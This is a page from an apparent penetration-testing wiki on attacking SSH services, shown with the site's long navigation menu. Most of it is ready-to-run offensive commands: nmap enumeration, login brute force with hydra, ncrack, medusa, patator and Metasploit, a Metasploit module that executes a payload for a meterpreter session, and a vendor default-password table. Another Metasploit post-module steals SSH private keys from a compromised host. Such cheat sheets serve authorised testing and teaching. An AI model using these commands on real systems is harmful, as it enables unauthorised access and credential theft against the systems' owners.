The Hive
GitHubLinkedInEmail
  • ๐Ÿ Home
  • ๐ŸŒRECON
    • ๐Ÿ“กPassive (OSINT)
      • โฉMetadata
      • โฉSocial Platforms
        • Email
        • Tumbler
        • Redit
        • Github
        • Tinder
        • TikTok
        • Snapchat
        • Instagram
        • Facebook
        • Twitter
        • Google
        • LinkedIn
    • ๐Ÿ“กActive
      • โฉHost Discovery / Network Mapping
      • โฉnmap cheat sheet
      • โฉmasscan cheat sheet
    • ๐Ÿ“กWeb Recon
      • โฉWeb Server Discovery
      • โฉHidden Hosts
      • โฉDirectories & Subdomains
      • โฉSSL Certs
      • โฉCMS
      • โฉWAF Detection
    • ๐Ÿ“กFirewall Evasion
  • ๐Ÿ“—Web Attacks
    • ๐ŸŸขServer Side
      • ๐ŸŸฉAuthentication Mechanisms
      • ๐ŸŸฉAccess Control (Authorization)
      • ๐ŸŸฉDirectory Traversal
      • ๐ŸŸฉOS Command Injection
      • ๐ŸŸฉServer-Side Request Forgery (SSRF)
      • ๐ŸŸฉXML External Entity (XXE) Injection
      • ๐ŸŸฉFile Upload
      • ๐Ÿ”งSQL Injection
      • ๐ŸŸฉInformation Disclosure
      • ๐ŸŸฉBusiness Logic
    • ๐ŸŸขClient Side
      • ๐ŸŸฉCross-site request forgery (CSRF)
      • ๐Ÿ”งCross-site scripting (XSS)
  • ๐Ÿ“’Network attacks
    • ๐ŸŸกNetwork Services
      • ๐ŸŸจBrute Force
      • ๐ŸŸจDNS
      • ๐ŸŸจIPv6
      • ๐ŸŸจFTP
      • ๐ŸŸจSSH
      • ๐ŸŸจSMB
      • ๐ŸŸจSNMP
      • ๐ŸŸจSMTP
      • ๐ŸŸจPOP3
      • ๐ŸŸจIMAP
      • ๐ŸŸจMSSQL
      • ๐ŸŸจMySQL
      • ๐ŸŸจMSRPC / RPCbind
      • ๐ŸŸจLDAP
      • ๐ŸŸจNTP
      • ๐ŸŸจNFS
      • ๐ŸŸจTelnet
      • ๐ŸŸจWebDAV
      • ๐ŸŸจRDP
      • ๐ŸŸจRSIP
      • ๐ŸŸจRlogin
      • ๐ŸŸจVPNs
      • ๐ŸŸจEcho
      • ๐Ÿ”งRTP
      • ๐Ÿ”งVOIP
        • SIP
    • ๐ŸŸกNetwork Devices
      • ๐ŸŸจIPv6 Attacks
        • Neighbor Impersonation
        • Router Advertisement Flooding
      • ๐ŸŸจSwitch Attacks
        • Cisco Exploitation
        • STP Spoofing
        • VLAN Hopping
        • MAC Flood
      • ๐ŸŸจRouter Attacks
        • Router Exploitation
        • HSRP Hijacking
        • ๐Ÿ”งRIP Spoofing
        • ๐Ÿ”งOSPF Attacks
        • ๐Ÿ”งVRRP MitM
      • ๐ŸŸจNAC Bypass
        • Captive Portal
        • 802.1X / EAP Bypass
      • ๐ŸŸจPrinter Exploitation
    • ๐ŸŸกMITM & Poisoning
      • ๐ŸŸจBettercap
      • ๐ŸŸจHTTPS Downgrade / HSTS Bypass
      • ๐ŸŸจSession Hijackings
      • ๐ŸŸจMalicious Update
      • ๐ŸŸจRDP Downgrade
      • ๐ŸŸจDNS Spoofing
      • ๐ŸŸจNTP Spoofing
      • ๐ŸŸจARP Spoofing
      • ๐ŸŸจDHCP Poisoning
      • ๐ŸŸจDHCPv6 Spoofing
      • ๐ŸŸจSSDP Spoofing
      • ๐ŸŸจWSUS Spoofing
      • ๐ŸŸจADIDNS Poisoning
      • ๐ŸŸจWPAD Abuse
    • ๐ŸŸกWireless Attacks
      • ๐ŸŸจProtocol Concepts
      • ๐ŸŸจBasics
      • ๐ŸŸจAttacks
    • ๐ŸŸกSniffing
      • ๐ŸŸจWireshark
      • ๐ŸŸจtcpdump
    • ๐ŸŸกDenial of Service
  • ๐Ÿ“•Red Team
    • ๐Ÿ”ดWindows
      • โญ•Security Concepts
        • Windows Security Components
        • Active Directory Components
        • Kerberos
        • Loggon Sessions and Access Tokens
        • Permissions and Access Control
        • Windows Registry
        • Object Management
      • โญ•Physical Attack
      • โญ•Enumeration
      • โญ•Privilege Escalation
        • DLL Hijacking
          • Phantom DLL Hijacking / Replacement
          • Search Order Hijacking ( Preloading )
          • DLL Side-Loading
        • Service Misconfigurations
          • Weak Registry Permissions
          • Insecure Service Executables
          • Insecure Permission
          • Unquoted Service Path
        • Creating a New Service (admin to system)
        • Registry
          • AlwaysInstallElevated
          • AutoRuns
        • Scheduled Tasks
        • Mass Roll-outs
        • Startup Apps
        • Installed Applications
        • Loopback Services
        • Insecure GUI APPs
        • Potatos
        • Printspoofer / SEImpersonate
        • PSEXEC (admin to system)
      • โญ•Credential Dumping
      • โญ•Persistence
        • Invisible Account Forger
        • Add User
        • Scheduled Tasks
        • Run Registry Keys
        • Logon Scripts
        • Screensavers Hijack
        • Powershell Profiles & Modules
        • Service Creation/Modification
        • Shortcut Modification
        • Startup Folder
        • RDP backdoors
        • COM Hijacking
    • ๐Ÿ”ดActive Directory
      • โญ•Domain Enumeration
      • โญ•Tools & Frameworks
        • Evil-WinRM
        • CME cheat sheet
        • SharpSploit
        • impacket cheat sheet
        • DeathStar
      • โญ•Exploitation
        • LLMNR Poisoning
        • SMB/NTLM Relay
        • DNS Takeover + LDAP Relay
        • Cracking Hashes
        • Password spraying
        • ADCS + PetitPotam NTLM Relay
        • EternalBlue
        • ZeroLogon
        • MS Exchange ProxyShell
        • MS Exchange ProxyLogon
        • Java JBOSS
      • โญ•Privilege Escalation
        • Token Impersonation
        • DNS Admins
        • AD CS Abuse
        • ACL Abuse
          • GenericAll
          • Write Property
          • Self-membership
          • ForceChangePassword
          • Managed Security Groups
          • Exchange Windows Permissions
        • Group Policy Objects (GPOs)
        • Custom SSPs
        • PrintNightmare
      • โญ•Lateral Movement
        • RDP Password Decryption
        • RDP Session Hijacking
        • headless RDP with SharpRDP
        • Domain Shares
        • SCF File Attacks
        • Pass the Hash / Password
        • Overpass the Hash / Pass the Key
        • Pass The Ticket
        • Kerberosting / AS-REP Rosting
        • Kerberos Delegation
      • โญ•Credential Dumping
        • CredSSP / TSPKG
        • Wdigest Clear Text
        • DPAPI secrets
        • SAM & Registry
        • NTDS.dit & vshadow
        • comsvcs.dll
        • Meterpreter
        • Procdump & LSASS
        • AD User Comments
        • SYSVOL & Group Policy Preferences
        • LAPS Passwords
        • GSMA Passwords
        • HiveNightmare
        • Mimikatz Cheat sheet
        • Other Tools / Techniques
      • โญ•Persistence
        • Certificates
        • DCSync
        • DCShadow
        • Silver Ticket
        • Golden Ticket
        • Skeleton Key
        • WMI
        • PowerShell Remoting
        • Remote Registry
        • Rights Abuse
        • AdminSDHolder
        • DSRM
        • Kerberos Checksum Validation ( MS14-068 )
    • ๐Ÿ”ดLinux
      • โญ•Physical Attacks
      • โญ•Enumeration
      • โญ•Privilege Escalation
        • SUID / SGID abuse
        • /etc/shadow & /etc/passwd
        • cron/crontab abuse
        • Sudo Abuse
        • Capabilities Abuse
        • Environment Variables
          • LD_LIBRARY_PATH
          • LD_PRELOAD
        • Shared Object Injection
        • NFS
        • man CE Pager Argument
        • MySQL UDF
        • UDEVD
        • STDIN/STDOUT
        • Unix Socket Exploitation
        • Dirty Pipe
        • Docker
          • SUID Docker
      • โญ•Lateral Movement
        • Infecting Running Processes
        • VIM Config File Keylogger
        • SSH Hijacking
        • Samba Secrets to Domain Admin
        • Hiding Processes
        • Simple User-mode Rootkits
        • Vino VNC Server
      • โญ•Credential Dumping
        • Swap Dump
        • mimipinguin
        • unshadow
        • 3snake
      • โญ•Persistence
        • Startup User File Backdoor
        • PHP Backdoor
        • Apache mod_rootme
        • Startup Service Backdoor
        • xdg Backdoor
        • rootbash SUID
        • apt Backdoor
        • Driver Backdoor
        • Core Pattern
        • dash Backdoor
        • Creating an SUID Binary
        • Systemd netcat bind shell
        • Xinetd UDP portnock
        • openSSL reverse shell
        • motd Backdoor
        • Auth Log Backdoor
        • RSYSLOG Backdoor
        • sshd Backdoor
        • VIM Config Backdoor
        • .bashrc Backdoor
        • Adding a Root user
        • Crontab Reverse Shell
        • SSH persistence password-less
      • โญ•Covering Tracks
    • ๐Ÿ”ดCommand & Control (C2)
      • โญ•Cobalt Strike
      • โญ•Metasploit
      • โญ•Empire & Starkiller
      • โญ•Covenant
    • ๐Ÿ”ดShells and Payloads
      • โญ•Shell Escape / Interactive Shell
      • โญ•LOL Binaries
      • โญ•msfvenom
      • โญ•SharpShooter & Ivy
      • โญ•Other Payloads
    • ๐Ÿ”ดPayload Delivery
      • โญ•Powershell Reflective DLL Load
      • โญ•HTML Smuggling
      • โญ•Office Macros
      • โญ•DDE Auto - Word/Excel
      • โญ•.SLK Excel
      • โญ•XLM Macro 4.0
      • โญ•LNK
      • โญ•embedded OLE + LNK objects
      • โญ•JScript
      • โญ•HTA
      • โญ•VBS
      • โญ•VBA
      • โญ•RTF
      • โญ•REG
      • โญ•MSI / MSIEXEC
      • โญ•IQY
      • โญ•CHM / HHC
      • โญ•SCR
    • ๐Ÿ”ดPivoting
      • โญ•SSH Forwarding
      • โญ•Socat Stealth Port Forward
      • โญ•Socat Reverse Shell Relay
      • โญ•HTTP Tunneling
      • โญ•ICMP Tunneling
      • โญ•DNS Tunneling
      • โญ•Metasploit Pivoting
      • โญ•Cobalt Strike Pivoteing
      • โญ•VPN Tunneling
      • โญ•Other Tools
    • ๐Ÿ”ดExfiltration / File Transfer
      • โญ•Encode / Decode Files
      • โญ•TCP / UDP
      • โญ•DNS
      • โญ•SSH
      • โญ•ICMP
      • โญ•SMB
      • โญ•FTP
      • โญ•HTTP
      • โญ•Other Methods
    • ๐Ÿ”ดPassword Attacks
      • โญ•Online Attacks
      • โญ•Offline Attack
      • โญ•Word List
      • โญ•Cheat Sheet
    • ๐Ÿ”ดDefense Evasion
      • โญ•Basic Tricks
      • ๐Ÿ”งPowershell Tricks
      • โญ•Disabling Defenses
      • โญ•UAC Bypass
      • โญ•Process Migration
      • โญ•Dechaining Macros
      • โญ•VBA Sandbox Evasion
      • โญ•AMSI Bypass
      • โญ•SRP & AppLocker Bypass
      • โญ•GPO Bypass
  • ๐Ÿ“˜Blue Team
    • ๐Ÿ”ตThreat Modeling / Hunting / Intelligence
    • ๐Ÿ”ตLinux Hardening
      • ๐Ÿ”นOS Security
        • Update Strategy
        • Service Management
        • Physical Security
        • Grub Hardening
        • Kernel Parameters
        • Process Isolation
      • ๐Ÿ”นAccounts & Passwords
        • Users & Groups
        • Password Security & Sudoers
      • ๐Ÿ”นAccess Control & Ownership
      • ๐Ÿ”นFile System Security
      • ๐Ÿ”นIntegrity Check
      • ๐Ÿ”นSandboxing
      • ๐Ÿ”นNetwork
      • ๐Ÿ”นiptables
        • Rule Sets
      • ๐Ÿ”นService Hardening
        • BIND9
        • vsftpd
        • Nginx
        • Apache
        • SSH
      • ๐Ÿ”นSystem Audit
      • ๐Ÿ”นLogging
        • auditd
      • ๐Ÿ”นEncryption
    • ๐Ÿ”ตSecurity Architecture
      • ๐Ÿ”นLayered Security
  • ๐ŸŸชPurple Teaming
    • ๐ŸŸฃAdversary Emulation
  • ๐ŸŸงprogramming
    • ๐ŸŸ C Programming
      • ๐Ÿ”ธBasic Structure
      • ๐Ÿ”ธGCC Compiler
      • ๐Ÿ”ธPreprocessors
      • ๐Ÿ”ธData Types
      • ๐Ÿ”ธType Qualifiers
      • ๐Ÿ”ธPointers
      • ๐Ÿ”ธDynamic Memory Allocation
      • ๐Ÿ”ธLoops
      • ๐Ÿ”ธConditional Statements
      • ๐Ÿ”ธFunctions
      • ๐Ÿ”ธInput / Output
      • ๐Ÿ”ธMacros
      • ๐Ÿ”ธFiles
      • ๐Ÿ”ธStrings Manipulation
      • ๐Ÿ”ธBit Manipulation
      • ๐Ÿ”ธData Structures
        • Arrays
        • Structures
        • Unions
      • ๐Ÿ”ธAbstract Data Types
        • Stack
        • Queue
        • Linked List
          • Singly Linked List
          • Doubly Linked List
      • ๐Ÿ”ธLibraries & Linking
      • ๐Ÿ”ธError Recovery
    • ๐Ÿ”งAssembly ( NASM )
      • Intel IA-32 Environment
      • Basic Structure
      • Variables and Data Types
      • Most-used Instructions
      • input / output
  • ๐ŸŸซMiscellaneous
    • ๐ŸŸคGNU Screen / tmux
    • ๐ŸŸคSSH Tricks
    • ๐ŸŸคCats
      • netcat
      • ncat
      • pwncat
      • socat
      • ๐Ÿ”งpowercat
    • ๐ŸŸคCurl
    • ๐ŸŸคCross-compiling Binaries
Powered by GitBook
On this page
  • Enumeration
  • Testing Connection and Version
  • User Enumeration Timing Attack
  • Automated SSH Audit
  • Login Brute Force
  • SSH User Code Execution
  • Default Credentials
  • Stealing SSH Keys (post)
  • SSH 2.0 Version Fuzzer
  1. Network attacks
  2. Network Services

SSH

( TCP 22 )

Enumeration

nmap -Pn -n 127.0.0.1 --script ssh-hostkey
nmap -Pn -n 127.0.0.1 --script ssh-publickey-acceptance
nmap -Pn -n 127.0.0.1 --script ssh-run

# weak cipher algorithms
nmap -Pn -n --script ssh2-enum-algos 127.0.0.1
nmap -Pn -n --script ssh-auth-methods 127.0.0.1

# bruteforce
nmap -Pn -n --script ssh-brute 127.0.0.1

Testing Connection and Version

attempt to connect to see if there is a banner when connecting

auxiliary/scanner/ssh/ssh_version
telnet [ip] [port]
nc -nv [ip] 22

also ssh login banners might be helpful some times.

User Enumeration Timing Attack

In some versions of OpenSSH you can make a timing attack to enumerate users. You can use a metasploit module in order to exploit this:

msf> use scanner/ssh/ssh_enumusers

Automated SSH Audit

Basic server auditing:

ssh-audit localhost
ssh-audit 127.0.0.1
ssh-audit 127.0.0.1:222
ssh-audit ::1
ssh-audit [::1]:222

To run a standard audit against many servers (place targets into servers.txt, one on each line in the format of HOST[:PORT]):

ssh-audit -T servers.txt

To audit a client configuration (listens on port 2222 by default; connect using ssh -p 2222 anything@localhost):

ssh-audit -c

To audit a client configuration, with a listener on port 4567:

ssh-audit -c -p 4567

To list all official built-in policies (hint: use resulting policy names with -P/--policy):

ssh-audit -L

To run a policy audit against a server:

ssh-audit -P ["policy name" | path/to/server_policy.txt] targetserver

To run a policy audit against a client:

ssh-audit -c -P ["policy name" | path/to/client_policy.txt]

To run a policy audit against many servers:

ssh-audit -T servers.txt -P ["policy name" | path/to/server_policy.txt]

To create a policy based on a target server (which can be manually edited):

ssh-audit -M new_policy.txt targetserver

Login Brute Force

hydra -l [user] -P [wordlist] [ip] ssh
ncrack -v -T 5 --user [user] -P [wordlist] [ip]:22
medusa -h [ip] [ip] -u [user] -P [wordlist] -M ssh
patator ssh_login host=192.168.56.103 user=FILE0 0=user password=/usr/share/wordlists/rockyou.txt

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.75.130
set USERPASS_FILE /home/pentesting/password.txt
set VERBOSE True
set USERNAME root
run

SSH User Code Execution

This module connects to the target system and executes the necessary commands to run the specified payload via SSH. If a native payload is specified, an appropriate stager will be used. Thus we gave host IP along with username and password, if everything goes in right then we get meterpreter session on our listening machine.

msf > use exploit/multi/ssh/sshexec
msf exploit(sshexec) >set rhosts 192.168.1.103
msf exploit(sshexec) >set username ignite
msf exploit(sshexec) >set password 123
msf exploit(sshexec) >set srvhost 192.168.1.107
msf exploit(sshexec) >exploit

as a result you can observe that we have meterpreter session of the host machine.

Default Credentials

ls /usr/share/seclists/Passwords/Default-Credentials/

Vendor

Usernames

Passwords

APC

apc, device

apc

Brocade

admin

admin123, password, brocade, fibranne

Cisco

admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin

admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme

Citrix

root, nsroot, nsmaint, vdiadmin, kvm, cli, admin

C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler

D-Link

admin, user

private, admin, user

Dell

root, user1, admin, vkernel, cli

calvin, 123456, password, vkernel, Stor@ge!, admin

EMC

admin, root, sysadmin

EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc

HP/3Com

admin, root, vcx, app, spvar, manage, hpsupport, opc_op

admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin

Huawei

admin, root

123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123

IBM

USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer

PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer

Juniper

netscreen

netscreen

NetApp

admin

netapp123

Oracle

root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user

changeme, ilom-admin, ilom-operator, welcome1, oracle

VMware

vi-admin, root, hqadmin, vmware, admin

vmware, vmw@re, hqadmin, default

Stealing SSH Keys (post)

This attack requires a compromised server with SSH server running. If you are able to compromise a server with Metasploit and server has SSH running but require a key to connect with it. in that situation, you can steal the keys from the compromised server.

use post/multi/gather/ssh_creds
set session 4
exploit

Once you have compromised the server with Metasploit then run it in the background and run the above post exploit within your Metasploit and set your exploited server session id.

Once you find that you can get the key for that you have to start the session and download the key.

session 4
cd /home/username/.ssh
download id_rsa /home/

Once the key is downloaded you can find it in /home the directory. If you have the key then you can use it to connect with it as we saw earlier. There are lots of other things you can do with SSH you can check Metasploit use auxiliary/scanner/ssh to list all the options available.

SSH 2.0 Version Fuzzer

msf > use auxiliary/fuzzers/ssh/ssh_version_2
msf auxiliary(ssh_version_2) > show actions
    ...actions...
msf auxiliary(ssh_version_2) > set ACTION < action-name >
msf auxiliary(ssh_version_2) > show options
    ...show and set options...
msf auxiliary(ssh_version_2) > run
PreviousFTPNextSMB

Last updated 2 years ago

๐Ÿ“’
๐ŸŸก
๐ŸŸจ
GitHub - jtesta/ssh-audit: SSH server & client auditing (banner, key exchange, encryption, mac, compression, compatibility, security, etc)GitHub
SecLists/Passwords/Default-Credentials at master ยท danielmiessler/SecListsGitHub
Logo
Logo